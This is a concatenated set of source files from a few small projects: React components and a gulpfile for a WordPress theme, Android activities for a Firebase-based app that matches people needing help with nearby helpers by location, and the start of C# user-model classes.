<ReactCssTransitionGroup component="ul" className="post-teaser-list" style={{height: style.height}} transitionName="post-teaser" transitionAppear={true} transitionAppearTimeout={750} transitionEnterTimeout={500} transitionLeaveTimeout={ListConfig.TRANSITION_OUT_DURATION}> {posts.map(function(post, i){ return <PostTeaser ref={i} key={'post-teaser-' + post.id} data={post} layout={state.layout && state.layout[i]} cols={state.cols} onClick={this.onTeaserClick.bind(this, post)}/>; }, this)} <LoadingIndicator key="loading-indicator" loading={state.loading} /> </ReactCssTransitionGroup> <Pagination pages={state.list.pages} params={this.props.params} layout={state.layout}/> <Footer /> </div> ); } });<file_sep>/src/lahaina/src/list/components/pagination.comp.js var React = require('react'); var ReactCssTransitionGroup = require('react-addons-css-transition-group'); var Link = require('react-router').Link; var _ = require('lodash'); module.exports = React.createClass({ getPaginationPath: function(params, index){ var path = []; path.push(params.category ? 'category' : params.tag ? 'tag' : ''); path.push(params.category || params.tag || ''); path.push(index); return _.compact(path).join('/'); }, getPagination: function(props){ var pages = _.times(props.pages, Number); return pages.map(_.bind(function(index) { return (<li key={index}> <Link to={this.getPaginationPath(props.params, index + 1)} activeClassName="active">{index + 1}</Link> </li>); }, this)) }, render: function() { var props = this.props, visible = !!(props.layout && props.pages > 1); return (<ReactCssTransitionGroup component="div" className={"pagination" + (visible ? '' : ' hidden')} transitionName="pagination" transitionAppear={true} transitionAppearTimeout={2000} transitionEnterTimeout={2000} transitionLeaveTimeout={2000}> <ol key="pagination"> {this.getPagination(props)} </ol> </ReactCssTransitionGroup>); } });<file_sep>/src/lahaina/src/footer/footer.comp.js var React = require('react'), Reflux = require('reflux'), ReactCssTransitionGroup = require('react-addons-css-transition-group'), FooterStore = require('./footer.store'), Actions = require('../core/core.actions'), PostTeaser = require('../list/components/post-teaser.comp'), Icon = require('../common/components/icon.comp'), FirstChildComp = require('../common/components/first-child.comp'), animation = require('../common/utils/animation.utils'); var PostTags = require('../common/components/post-tags.comp'); module.exports = React.createClass({ mixins: [Reflux.ListenerMixin], componentWillMount: function(){ this.listenTo(FooterStore, this.onStoreUpdate); }, onStoreUpdate: function(data){ this.setState({ content: data.content }); }, getInitialState: function(){ return { content: null }; }, getTeasers: function(content, grouping){ var posts = content ? content.posts[grouping] : []; return _.map(posts, _.bind(function(post) { return <PostTeaser key={post.id} data={post} onClick={this.onTeaserClick.bind(this, post)} /> }, this)); }, getTaxonomyItems: function(list, type){ list = list || []; return _.map(list, function(item){ return (<li key={type + '-' + item.id} className={type + '-' + item.slug + ' post-' + type}>{item.title}</li>); }); }, getTagItems: function(categories){ return (<li className="tag"></li>); }, getFeaturedLabel: function(content){ content = content || {}; switch(content.type){ case 'POST': return 'Related'; case 'LIST': return 'Featured'; default: return 'Featured'; } }, onTeaserClick: function(post){ _.delay(function(){ location.hash = '/post/' + post.slug; }, 400); Actions.postSelected(); }, getFooter: function(content){ if(content){ return ( <footer ref="footer" id="colophon" role="contentInfo"> <div className="inner"> <div className="featured section"> <div className="inner"> <h3>{this.getFeaturedLabel(content)}</h3> <div className="post-teaser-list"> <ul> {this.getTeasers(content, 0)} </ul> </div> <div className="post-teaser-list"> <ul> {this.getTeasers(content, 1)} </ul> </div> </div> </div> <div className="taxonomy section"> <div className="inner"> <div className="categories"> <h3>Categories</h3> <PostTags data={content && content.categories} type="category" /> </div> <div className="tags"> <h3>Tags</h3> <PostTags data={content && content.tags} type="tag" /> </div> </div> </div> <div className="about section"> <div className="inner"> <h3>What is this?</h3> <p>I'm Adam, this is my place to post things I'm working on, interested in, or whatever!</p> </div> </div> <div className="elsewhere section"> <div className="inner"> <h3>Elsewhere</h3> <ul> <li> <a href="https://github.com/admangum"> <Icon glyph={require('../common/img/github-mark.svg')}/> </a> </li> </ul> </div> </div> <div className="site-info"> <a href="http://wordpress.org/" title="Semantic Personal Publishing Platform">Proudly powered by WordPress</a> </div> </div> </footer>); } return null; }, render: function(){ var content = this.state.content; return ( <ReactCssTransitionGroup component={FirstChildComp} transitionName="footer" transitionAppear={true} transitionAppearTimeout={1200} transitionEnterTimeout={1200} transitionLeaveTimeout={800}> {this.getFooter(content)} </ReactCssTransitionGroup> ); } })<file_sep>/src/lahaina/gulpfile.js var gulp = require('gulp'), gutil = require('gulp-util'), maps = require('gulp-sourcemaps'), babelify = require('babelify'), browserify = require('browserify'), watchify = require('watchify'), reactify = require('reactify'), assign = require('lodash.assign'), source = require('vinyl-source-stream'), buffer = require('vinyl-buffer'), sass = require('gulp-sass'), postcss = require('gulp-postcss'), autoprefixer = require('autoprefixer'), rename = require('gulp-rename'), babel = require('gulp-babel'), webpack = require('webpack-stream'), paths, opts, bundler; paths = { src: { less: 'src/less/' }, build: { dir: './dist/', css: '.' } }; gulp.task('build', function(){ return gulp.src('./src/main.js') .pipe(webpack(require('./webpack.config.js')).on('error', function(err){ console.log(err)})) .pipe(gulp.dest('./dist/')); }); gulp.task('sass', function(){ gulp.src('./src/**/*.scss') .pipe(sass().on('error', sass.logError)) .pipe(postcss([autoprefixer({browsers: ['last 2 versions']})])) .pipe(gulp.dest('./dist')); }); gulp.task('deploy', ['build', 'sass', 'vendor'], function(){ return gulp.src(['./dist/**/*']) .pipe(gulp.dest('../../www/wp-content/themes/lahaina/')); }); gulp.task('vendor', function(){ return gulp.src('./src/vendor/**/*') .pipe(gulp.dest('./dist/vendor')); }); gulp.task('watch', ['deploy'], function(){ // gulp.watch('./dist/**/*', ['deploy']); // gulp.watch('./src/**/*.scss', ['sass']); // gulp.watch('./src/**/*.js', ['build']); gulp.watch('./src/**/*', ['deploy']); }); gulp.task('dev', ['watch']); <file_sep>/src/lahaina/src/common/components/post-tags.comp.js var React = require('react'); var Link = require('react-router').Link; module.exports = React.createClass({ onClick: function(e){ e.stopPropagation(); }, render: function() { var type = this.props.type; function getItem(item){ return ( <li key={type + '-' + item.id} className={('post-' + type) + ' ' + getTaxonomyClasses(item)}> <Link to={type + '/' + item.slug + '/1'}>{item.title}</Link> </li> ); } function getTaxonomyClasses(item){ return type + '-' + item.slug; } return ( <ul className={'post-taxonomy-list post-' + type + '-list'} onClick={this.onClick}>{this.props.data.map(getItem)}</ul> ); } });
51e01f917eabcb993e2690b9c704e9a8a26ca3e1
[ "JavaScript" ]
16
JavaScript
admangum/lahaina
4353ed241e96cd52e4b30b541dd9a38783b7e783
539059e3607f5df7e383fa71fb184577a8f42320
refs/heads/master
<file_sep>package ristevski.petar.pc.proektna; import android.Manifest; import android.app.Notification; import android.app.NotificationChannel; import android.app.NotificationManager; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Color; import android.location.Geocoder; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.media.RingtoneManager; import android.net.Uri; import android.os.Build; import android.os.Handler; import android.support.annotation.NonNull; import android.support.annotation.Nullable; import android.support.v4.app.ActivityCompat; import android.support.v4.app.DialogFragment; import android.support.v4.app.FragmentActivity; import android.os.Bundle; import android.support.v4.app.NotificationCompat; import android.support.v4.content.ContextCompat; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import com.google.android.gms.maps.CameraUpdate; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.OnMapReadyCallback; import com.google.android.gms.maps.SupportMapFragment; import com.google.android.gms.maps.model.BitmapDescriptorFactory; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.LatLngBounds; import com.google.android.gms.maps.model.Marker; import com.google.android.gms.maps.model.MarkerOptions; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.database.ChildEventListener; import com.google.firebase.database.DataSnapshot; import com.google.firebase.database.DatabaseError; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.database.Query; import com.google.firebase.database.ValueEventListener; import java.util.ArrayList; import java.util.HashMap; public class NeedHelpActivity extends FragmentActivity implements OnMapReadyCallback, DialogFragmentClass.DataEntryListener { private GoogleMap mMap; LocationManager mLocationManager; LocationListener mLocationListener; FirebaseDatabase database = FirebaseDatabase.getInstance(); FirebaseAuth mAuth; FirebaseAuth.AuthStateListener mAuthListener; String currentUser; DatabaseReference myRef = database.getReference(); Button pobarajUsluga; Boolean aktivnoBaranje = false; Button logOut; Boolean helperActive = false; TextView infoTextVieew; Handler handler = new Handler(); public void checkForUpdates() { try { Query isRequestActiveQuery = myRef.child("Users").child("Requests").child(currentUser); isRequestActiveQuery.addValueEventListener(new ValueEventListener() { @Override public void onDataChange(@NonNull DataSnapshot dataSnapshot) { final String helper = (String) dataSnapshot.child("Helper").getValue(); if (helper != null && !helper.equals("none")) { helperActive = true; Query findDriversLocation = myRef.child("Users").child("Helpers"); findDriversLocation.addValueEventListener(new ValueEventListener() { @Override public void onDataChange(@NonNull DataSnapshot dataSnapshot) { Double lattiude; Double longitude; for (DataSnapshot req : dataSnapshot.getChildren()) { String user = (String) req.getKey(); if (user != null && user.equals(helper)) { lattiude = (Double) req.child("Location").child("Lattitude").getValue(); longitude = (Double) req.child("Location").child("Longitude").getValue(); Location helpersLocation = new Location(LocationManager.GPS_PROVIDER); if (lattiude != null && longitude != null) { helpersLocation.setLatitude(lattiude); helpersLocation.setLongitude(longitude); if (Build.VERSION.SDK_INT < 23 || ContextCompat.checkSelfPermission(NeedHelpActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { Location lastKnownLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (lastKnownLocation != null) { double distance = lastKnownLocation.distanceTo(helpersLocation); distance /= 1000; distance *= 1.6; Double roundDistance = (double) Math.round(distance * 100) / 100; if (roundDistance < 0.1) { infoTextVieew.setText("Вашата помош пристигна"); makeNotification(); deleteUser(); handler.postDelayed(new Runnable() { @Override public void run() { infoTextVieew.setText(""); pobarajUsluga.setVisibility(View.VISIBLE); logOut.setVisibility(View.VISIBLE); pobarajUsluga.setText("ПОБАРАЈ УСЛУГА"); aktivnoBaranje = false; helperActive = false; } }, 3000); } else { infoTextVieew.setText("Вашата помош е оддалечена " + roundDistance + " километри од Вас"); LatLng helperLocationLatLng = new LatLng(helpersLocation.getLatitude(), helpersLocation.getLongitude()); LatLng requestLocationlatLng = new LatLng(lastKnownLocation.getLatitude(), lastKnownLocation.getLongitude()); ArrayList<Marker> markers = new ArrayList<>(); mMap.clear(); markers.clear(); try { if (helperLocationLatLng != null && requestLocationlatLng != null) { markers.add(mMap.addMarker(new MarkerOptions().position(helperLocationLatLng).title("Локација на помошта која пристига"))); markers.add(mMap.addMarker(new MarkerOptions().position(requestLocationlatLng).title("Ваша Локација").icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_BLUE)))); } } catch (Exception ex) { return; } LatLngBounds.Builder builder = new LatLngBounds.Builder(); for (Marker marker : markers) { builder.include(marker.getPosition()); } LatLngBounds bounds = builder.build(); int pading = 90; CameraUpdate cameraUpdate = CameraUpdateFactory.newLatLngBounds(bounds, pading); mMap.animateCamera(cameraUpdate); pobarajUsluga.setVisibility(View.INVISIBLE); handler.postDelayed(new Runnable() { @Override public void run() { checkForUpdates(); } }, 4000); } } } } } } } @Override public void onCancelled(@NonNull DatabaseError databaseError) { } }); } } @Override public void onCancelled(@NonNull DatabaseError databaseError) { } }); } catch (Exception ex){ return; } } private void makeNotification() { NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); String NOTIFICATION_CHANNEL_ID = "my_channel_id_01"; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "My Notifications", NotificationManager.IMPORTANCE_HIGH); // Configure the notification channel. notificationChannel.enableLights(true); notificationChannel.setLightColor(Color.RED); notificationChannel.enableVibration(true); if (notificationManager != null) { notificationManager.createNotificationChannel(notificationChannel); } } NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(getApplicationContext(), NOTIFICATION_CHANNEL_ID); Uri uri= RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); notificationBuilder.setAutoCancel(true) .setSmallIcon(R.drawable.usluzise) .setContentTitle("Бараната помош штотуку пристигна на Вашата адреса") .setContentText("Ви благодариме што го користевте нашиот сервис") .setContentInfo("Info"); notificationManager.notify(/*notification id*/1, notificationBuilder.build()); } public void getCurrentUser() { Intent intent = getIntent(); currentUser = intent.getStringExtra("momentalenUser"); } public void odjavise(View view){ if(currentUser!= null) { deleteUser(); } Intent i = new Intent(getApplicationContext(), MainActivity.class); startActivity(i); } public void pobarajUsluga(View view){ getCurrentUser(); if(aktivnoBaranje){ deleteUser(); aktivnoBaranje= false; logOut.setVisibility(View.VISIBLE); pobarajUsluga.setText("Побарај услуга"); } else { if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if(lastKnowLocation != null) { Double lattitude = lastKnowLocation.getLatitude(); Double longitude = lastKnowLocation.getLongitude(); myRef.child("Users").child("Requests").child(currentUser).child("NudamIliBaram").setValue("PotrebnaMiEUsluga"); myRef.child("Users").child("Requests").child(currentUser).child("Helper").setValue("none"); myRef.child("Users").child("Requests").child(currentUser).child("Location").child("Lattitude").setValue(lattitude); myRef.child("Users").child("Requests").child(currentUser).child("Location").child("Longitude").setValue(longitude); pobarajUsluga.setText("Откажи барање на услуга"); aktivnoBaranje = true; checkForUpdates(); DialogFragmentClass dialog = new DialogFragmentClass(); dialog.show(getFragmentManager(), "DIALOG_FRAGMENT"); dialog.setCancelable(false); } } } } private void deleteUser() { logOut = findViewById(R.id.bttnOdjava); logOut.setEnabled(true); aktivnoBaranje = false; infoTextVieew.setText(""); pobarajUsluga.setText("Побарај услуга"); myRef.child("Users").child("Requests").child(currentUser).removeValue(); } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { if (requestCode == 1) { if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); updateMap(lastKnowLocation); checkForUpdates(); } } } } public void updateMap(Location location) { if(helperActive == false) { LatLng userLocation = new LatLng(location.getLatitude(), location.getLongitude()); mMap.clear(); mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(userLocation, 17)); mMap.addMarker(new MarkerOptions().position(userLocation).title("Вашата локација")); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_needhelp); // Obtain the SupportMapFragment and get notified when the map is ready to be used. SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager() .findFragmentById(R.id.map); mapFragment.getMapAsync(this); pobarajUsluga = findViewById(R.id.bttnPobarajUsluga); logOut = findViewById(R.id.bttnOdjava); checkIfAlreadyHaveRequestFromThisUser(); infoTextVieew = findViewById(R.id.infoTextView); } private void checkIfAlreadyHaveRequestFromThisUser() { getCurrentUser(); Query isRequestActiveQuery = myRef.child("Users").child("Requests"); isRequestActiveQuery.addValueEventListener(new ValueEventListener() { @Override public void onDataChange(@NonNull DataSnapshot dataSnapshot) { for (DataSnapshot data: dataSnapshot.getChildren()) { String key = data.getKey(); if(key!= null && key.equals(currentUser)) { aktivnoBaranje = true; pobarajUsluga.setText("Откажи барање на услуга"); logOut.setVisibility(View.INVISIBLE); checkForUpdates(); } } } @Override public void onCancelled(@NonNull DatabaseError databaseError) { } }); } @Override protected void onResume() { super.onResume(); checkForUpdates(); } @Override public void onMapReady(GoogleMap googleMap) { mMap = googleMap; mLocationManager = (LocationManager) this.getSystemService(Context.LOCATION_SERVICE); mLocationListener = new LocationListener() { @Override public void onLocationChanged(Location location) { updateMap(location); } @Override public void onStatusChanged(String s, int i, Bundle bundle) { } @Override public void onProviderEnabled(String s) { } @Override public void onProviderDisabled(String s) { } }; if (Build.VERSION.SDK_INT < 23) { if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); } } else { if(ContextCompat.checkSelfPermission(this,android.Manifest.permission.ACCESS_FINE_LOCATION)!= PackageManager.PERMISSION_GRANTED){ ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION},1); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if(lastKnowLocation != null) { updateMap(lastKnowLocation); } }else { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION},1); mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if(lastKnowLocation != null) { updateMap(lastKnowLocation); } } } } @Override public void onBackPressed() { } @Override public void onDataEntryCompleted(String usluga, String cena) { if(!usluga.equals("")) { if(!cena.equals("")) { myRef.child("Users").child("Requests").child(currentUser).child("Usluga").setValue(usluga); myRef.child("Users").child("Requests").child(currentUser).child("Cena").setValue(cena); } else { myRef.child("Users").child("Requests").child(currentUser).child("Usluga").setValue(usluga); myRef.child("Users").child("Requests").child(currentUser).child("Cena").setValue("0"); } } else { deleteUser(); logOut.setVisibility(View.VISIBLE); } } } <file_sep>package ristevski.petar.pc.proektna; import android.app.Application; import android.content.Intent; import android.os.Build; import android.support.annotation.NonNull; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.Switch; import android.widget.TextView; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.auth.AuthResult; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.auth.FirebaseUser; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import static android.text.Layout.JUSTIFICATION_MODE_INTER_WORD; public class MainActivity extends AppCompatActivity { public static final String SAKAM_DA_POMOGNAM = "sakamDaPomognam"; public static final String POTREBNA_MI_EUSLUGA = "potrebnaMiEUsluga"; FirebaseDatabase database = FirebaseDatabase.getInstance(); FirebaseAuth mAuth; FirebaseAuth.AuthStateListener mAuthListener; String userType; DatabaseReference myRef = database.getReference(); Switch swith; String currentUser; public void redirectActivity() { swith = findViewById(R.id.switch1); if(currentUser!=null) { if (userType.equals(POTREBNA_MI_EUSLUGA)) { Intent intent = new Intent(getApplicationContext(),NeedHelpActivity.class ); intent.putExtra("momentalenUser", currentUser); startActivity(intent); } else { Intent intent = new Intent(getApplicationContext(), ViewRequestsActivity.class); intent.putExtra("momentalenUser", currentUser); startActivity(intent); } } } public void getStarted(View view){ swith = findViewById(R.id.switch1); // final EditText userName = findViewById(R.id.etIme); // final EditText password = findViewById(R.id.etPassword); userType = SAKAM_DA_POMOGNAM; if(swith.isChecked()){ userType = POTREBNA_MI_EUSLUGA; } mAuth.signInAnonymously().addOnCompleteListener(this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> task) { if(task.isSuccessful()){ currentUser = mAuth.getCurrentUser().getUid(); myRef.child("Users").child(currentUser).setValue(currentUser); redirectActivity(); } } }); } @Override protected void onCreate(Bundle savedInstanceState) { getSupportActionBar().hide(); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mAuth = FirebaseAuth.getInstance(); mAuthListener = new FirebaseAuth.AuthStateListener() { @Override public void onAuthStateChanged(@NonNull FirebaseAuth firebaseAuth) { FirebaseUser user = firebaseAuth.getCurrentUser(); if(user == null) { } else { redirectActivity(); } } }; } @Override protected void onStart() { super.onStart(); mAuth.addAuthStateListener(mAuthListener); } @Override protected void onStop() { super.onStop(); mAuth.removeAuthStateListener(mAuthListener); } @Override public void onBackPressed() { } } <file_sep>package ristevski.petar.pc.proektna; import android.Manifest; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.location.Geocoder; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.os.Build; import android.support.annotation.NonNull; import android.support.v4.app.ActivityCompat; import android.support.v4.content.ContextCompat; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.ListView; import android.widget.Toast; import com.google.android.gms.maps.model.LatLng; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.database.DataSnapshot; import com.google.firebase.database.DatabaseError; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.database.Query; import com.google.firebase.database.ValueEventListener; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.Objects; public class ViewRequestsActivity extends AppCompatActivity { public static final String REQUEST_LATTITUDE = "requestLattitude"; public static final String REQUEST_LONGITUDE = "requestLongitude"; public static final String HELPER_LATTITUDE = "helperLattitude"; public static final String HELPER_LONGITUDE = "helperLongitude"; public static final String OPIS_NA_USLUGA = "OPIS NA USLUGA"; public static final String CENA_NA_USLUGA = "CENA NA USLUGA"; public static final String REQUESTER_USER_NAME = "userName"; public static final String HELPER_USER_NAME = "helperUserName"; FirebaseDatabase database = FirebaseDatabase.getInstance(); FirebaseAuth mAuth; FirebaseAuth.AuthStateListener mAuthListener; String currentUser; DatabaseReference myRef = database.getReference(); LocationManager mLocationManager; LocationListener mLocationListener; ListView requestListView; ArrayList<String> requests = new ArrayList<String>(); ArrayAdapter mArrayAdapter; ArrayList<Double> requestLattitudes = new ArrayList<Double>(); ArrayList<Double> requestLongitudes = new ArrayList<Double>(); ArrayList<String> opisiNaUsluga = new ArrayList<String>(); ArrayList<String> ceniNaUsluga = new ArrayList<String>(); ArrayList<String> userIDs = new ArrayList<String>(); boolean isHelperActive = false; Button logOut; public void logOutHelper(View view) { logOut = findViewById(R.id.bttnOdjava); deleteUser(); } private void deleteUser() { getCurrentUser(); myRef.child("Users").child("Helpers").child(currentUser).removeValue(); isHelperActive = false; Intent i = new Intent(this, MainActivity.class); startActivity(i); } public void getCurrentUser() { Intent intent = getIntent(); currentUser = intent.getStringExtra("momentalenUser"); } public void updateListView(final Location location) { if (location != null) { requests.clear(); requestLattitudes.clear(); requestLongitudes.clear(); getCurrentUser(); isHelperActive=true; Query requestsQuery = myRef.child("Users").child("Requests"); requestsQuery.addValueEventListener(new ValueEventListener() { @Override public void onDataChange(@NonNull DataSnapshot dataSnapshot) { Double lattiude; Double longitude; String opisUsluga; Long tempCena; String cenaUsluga; for (DataSnapshot req : dataSnapshot.getChildren()) { String user = (String) req.getKey(); opisUsluga = (String) req.child("Usluga").getValue(); try { tempCena = (Long) req.child("Cena").getValue(); cenaUsluga = Objects.toString(tempCena, "0"); } catch (Exception ex) { cenaUsluga = (String) req.child("Cena").getValue(); } lattiude = (Double) req.child("Location").child("Lattitude").getValue(); longitude = (Double) req.child("Location").child("Longitude").getValue(); // Toast.makeText(ViewRequestsActivity.this, lattiude + " " + longitude, Toast.LENGTH_SHORT).show(); if (lattiude != null && longitude != null) { Location location1 = new Location(LocationManager.GPS_PROVIDER); location1.setLatitude(lattiude); location1.setLongitude(longitude); requestLattitudes.add(lattiude); requestLongitudes.add(longitude); opisiNaUsluga.add(opisUsluga); ceniNaUsluga.add(cenaUsluga); double distance = location1.distanceTo(location); distance /= 1000; distance *= 1.6; Double roundDistance = (double) Math.round(distance * 100) / 100; requests.add(roundDistance.toString() + " km" +" - "+ opisUsluga); mArrayAdapter.notifyDataSetChanged(); } userIDs.add(user); if (requests.size() == 0) { requests.add("Во моментов нема активни побарувања../"); mArrayAdapter.notifyDataSetChanged(); } } } @Override public void onCancelled(@NonNull DatabaseError databaseError) { } }); } } @Override protected void onCreate(Bundle savedInstanceState) { getCurrentUser(); isHelperActive = !isHelperActive; super.onCreate(savedInstanceState); setContentView(R.layout.activity_view_requests); setTitle("Моментално активни побарувања..."); requestListView = findViewById(R.id.requestListView); mArrayAdapter = new ArrayAdapter(this, android.R.layout.simple_list_item_1, requests); requests.clear(); requests.add("Моментално активни побараувања за услуга..."); requestListView.setAdapter(mArrayAdapter); requestListView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) { if (Build.VERSION.SDK_INT < 23 || ContextCompat.checkSelfPermission(ViewRequestsActivity.this, android.Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (requestLattitudes.size() > i && requestLongitudes.size() > i && userIDs.size() > i && lastKnowLocation != null) { Intent intent = new Intent(getApplicationContext(), HelperActivity.class); intent.putExtra(REQUEST_LATTITUDE, requestLattitudes.get(i)); intent.putExtra(REQUEST_LONGITUDE,requestLongitudes.get(i)); intent.putExtra(HELPER_LATTITUDE, lastKnowLocation.getLatitude()); intent.putExtra(HELPER_LONGITUDE, lastKnowLocation.getLongitude()); intent.putExtra(OPIS_NA_USLUGA, opisiNaUsluga.get(i)); intent.putExtra(CENA_NA_USLUGA, ceniNaUsluga.get(i)); intent.putExtra(REQUESTER_USER_NAME,userIDs.get(i)); intent.putExtra(HELPER_USER_NAME, currentUser); //Toast.makeText(ViewRequestsActivity.this, requestLattitudes.size() + " " + requestLongitudes.size() + " " + userIDs.size() , Toast.LENGTH_SHORT).show(); // Toast.makeText(ViewRequestsActivity.this, userIDs.get(i) + " " + requestLattitudes.get(i) + " " + requestLongitudes.get(i), Toast.LENGTH_LONG).show(); startActivity(intent); } } } }); mLocationManager = (LocationManager) this.getSystemService(Context.LOCATION_SERVICE); mLocationListener = new LocationListener() { @Override public void onLocationChanged(Location location) { if(isHelperActive) { updateListView(location); Double lattitude = location.getLatitude(); Double longitude = location.getLongitude(); try { myRef.child("Users").child("Helpers").child(currentUser).child("Location").child("Lattitude").setValue(lattitude); myRef.child("Users").child("Helpers").child(currentUser).child("Location").child("Longitude").setValue(longitude); myRef.child("Users").child("Helpers").child(currentUser).child("NudamIliBaram").setValue("SakamDaPomognam"); }catch (Exception ex) { return; } } } @Override public void onStatusChanged(String s, int i, Bundle bundle) { } @Override public void onProviderEnabled(String s) { } @Override public void onProviderDisabled(String s) { } }; if (Build.VERSION.SDK_INT < 23) { if (ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { } mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); } else { if (ContextCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, 1); } else { mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (lastKnowLocation != null && isHelperActive== true) { updateListView(lastKnowLocation); } } } } @Override protected void onStop() { super.onStop(); } @Override public void onBackPressed() { } public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[]grantResults) { if (requestCode == 1) { if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, mLocationListener); Location lastKnowLocation = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if(isHelperActive) { updateListView(lastKnowLocation); } } } } } } <file_sep># Proektna Users can register as Helper User and Need Help User. Helper user can accept any help-request and then Google – Maps route is displayed to him. If Need Help User’s request is accepted from anyone, he can also track his helper who is on the way and app is calculating how far his helper is
ca83ecf14d48afe1b4089cb32fb2a7b7a1dfdafa
[ "Markdown", "Java" ]
4
Java
PetarRistevski/Proektna
de6f6f0e1909e9106b59f93dbc3a364a074f7ae2
3cbfa9689166f95311084eb4641c60f89a414c27
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.ComponentModel.DataAnnotations; namespace BadDDSec.Models { public class User { [Required] [MinLength(2)] public string FirstName { get; set; } [Required] [MinLength(2)] public string LastName { get; set; } [Required] [EmailAddress] public string Email { get; set; } [Required] public int BirthYear { get; set; } [Required] public Guid Id { get; private set; } public string FullName { get { return $"{LastName}, {FirstName}"; } set { string[] fullName = value.Split(','); FirstName = fullName[1].Trim(); LastName = fullName[0].Trim(); } } public User() { Id = Guid.NewGuid(); } public User(string firstName, string lastName, string email, int birthYear, Guid? id = null) : this() { FirstName = firstName; LastName = lastName; Email = email; BirthYear = birthYear; if (id != null) Id = (Guid)id; } } } <file_sep>using System; using System.Collections; using System.Collections.Generic; namespace BetterDDSec.Models { /// <summary> /// A more viable example than the overkill. /// 